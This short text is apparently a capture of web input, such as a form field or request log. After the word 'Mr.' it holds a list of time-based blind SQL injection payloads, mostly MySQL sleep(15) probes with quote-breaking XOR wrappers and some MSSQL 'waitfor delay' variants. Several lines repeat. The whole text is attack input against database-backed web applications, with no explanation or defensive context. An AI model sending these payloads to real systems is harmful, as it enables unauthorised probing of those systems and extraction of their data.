Mr.

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

if(now()=sysdate(),sleep(15),0)

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1); waitfor delay '0:0:15' --